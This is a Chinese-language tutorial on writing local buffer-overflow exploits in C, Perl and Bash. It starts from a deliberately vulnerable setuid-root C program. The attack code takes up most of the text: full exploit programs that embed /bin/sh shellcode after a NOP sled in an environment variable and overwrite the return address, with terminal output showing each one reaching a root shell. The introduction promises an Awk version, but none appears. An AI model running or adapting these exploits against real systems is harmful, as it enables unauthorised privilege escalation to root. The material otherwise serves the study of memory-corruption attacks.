溢出利用程序不仅仅是只能用c语言编写，其实几乎任何编程语言都能用来编写
溢出利用程序，这里用Linux作为试验平台，以实例演示C、Perl、Shell、Awk
语言编写溢出利用程序。之所以选择这几个语言是因为他们都几乎是Unix系统
自带的语言（商用Unix系统中C语言例外）。示例中基本都是把SHELLCODE放到
环境变量中来实现精确定位的。
<一> 有溢出漏洞的vul.c
[cloud@test]$Content$nbsp;id
uid=505(cloud) gid=503(test) groups=503(test)
[cloud@test]$Content$nbsp;cat vul.c
/* Demo
Have a bof vul at argv[1].
Write by watercloud @ xfocus.org
*/
#include<stdio.h>
int main(int argc,char * argv[])
{
char buff[32];
if(argc > 1)
{
strcpy(buff,argv[1]);
}
printf("buff : %s\n",buff);
return 0;
}
[cloud@test]$Content$nbsp;gcc vul.c -o vul
[cloud@test]$Content$nbsp;ls -l vul
-rwxr-xr-x 1 cloud test 11627 2月 24 10:14 vul
[cloud@test]$Content$nbsp;sudo chown root vul
[cloud@test]$Content$nbsp;sudo chmod u+s vul
[cloud@test]$Content$nbsp;ls -lh vul
-rwsr-xr-x 1 root test 11K 2月 24 10:14 vul
<二> C语言版本利用程序ex.c
[cloud@test]$Content$nbsp;cat ex.c
/* Demo for exploit bof of "./vul"
Write by watercloud @ xfocus.org
*/
#include <stdio.h>
#define TARGET "./vul"
#define ADDR 0xbffff3e8
char SH[]="1\xc0PPP[YZ4\xd0\xcd\x80"
"j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
int main(int argc,char * argv[])
{
char env_buff[4000];
char cmd_buff[1024];
int i,ret;
unsigned int *pi;
char * pc;
for(i=0;i<3096;env_buff[i++]=0x90){ };
env_buff[i]=’\0’;
strcat(env_buff,SH);
setenv("KK",env_buff,1);
strcpy(cmd_buff,TARGET);
pc=&cmd_buff[strlen(TARGET)];
*pc++=’ ’;
for(ret=1,i=0;i<4 && ret;i++)
{
int j;
*pc++=’A’;
pi=(unsigned int *)pc;
for(j=0;j<20;*pi++=ADDR,j++){};
*pi=0;
ret=system(cmd_buff);
}
return ret;
}
[cloud@test]$Content$nbsp;gcc ex.c -o ex
[cloud@test]$Content$nbsp;./ex
buff : A梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??
梵�胯??
buff : AA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
胯?胯??
buff : AAA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
�胯?胯??
buff : AAAA梵�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯??
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit
<三> perl语言版本利用程序ex.pl
[cloud@test]$Content$nbsp;cat ex.pl
#!/usr/bin/perl
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org
#$ENV_LEN=`env |wc -c`
$SHELL="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
$ENV{KK}= "\x90"x 3096 . $SHELL;
for($ret=1,$ag="AA",$i=0;$i<4 && $ret; $ag="A"x $i++) {
$ret=system "./vul",$ag. "\xff\xbf\xe8\xf3"x20; #ADDR:0xbffff3e8
}
#EOF
[cloud@test]$Content$nbsp;perl ex.pl
buff : AA�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯?
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit
<四> Shell语言版本利用程序ex.sh
[cloud@test]$Content$nbsp;cat ex.sh
#/bin/bash
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org
#ENV_LEN=`env |wc -c|tr -d ’ ’`
SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
AG="AA";for (( i=0;i<10;i++));do AG=$AG$AG;done ;AG=$AG$AG$AG #3096
for((i=0;i<20;i++));do AD=$AD"\xff\xbf\xe8\xf3";done #ADDR:0xbffff3e8
export AGSHELL=$AG`echo -e $SH`
for((i=0;i<4;i++)) ;do
AA=$AA"A"
if ./vul $AA`echo -e $AD`
then break
fi
done
#EOF
[cloud@test]$Content$nbsp;chmod a+x ex.sh
[cloud@test]$Content$nbsp;./ex.sh
buff : A�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
�胯?胯?
./ex.sh: line 16: 5287 段错误 ./vul $AA`echo -e $AD`
buff : AA�胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯?
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit
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